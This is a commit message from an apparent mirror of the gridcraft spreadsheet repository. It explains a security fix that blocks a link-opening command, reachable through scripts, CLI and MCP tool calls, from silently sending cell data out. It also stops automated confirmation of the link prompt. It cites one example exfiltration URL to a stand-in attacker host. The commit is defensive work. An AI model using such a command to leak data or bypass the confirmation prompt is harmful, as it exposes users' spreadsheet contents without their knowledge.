mirror of
https://github.com/storytold/gridcraft.git
synced 2026-11-07 11:02:09 +00:00
link.open is reachable by the control channel, CLI, MCP and workbook scripts, so it could open https://attacker/?d=<cell data> without the user seeing it. By default (LinkPolicy::Confirm) it now refuses web and e-mail addresses with an error and opens no dialog; references still navigate and other schemes stay refused. A host may opt in with LinkPolicy::Allow (Rust API only, no command sets it). The UI's Open Hyperlink prompt no longer runs a command on OK: it calls Session::open_confirmed_link with the address it showed, kept in a private field, so ui.dialog.confirm can't press OK and ui.dialog.set can't swap the address behind the prompt text. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>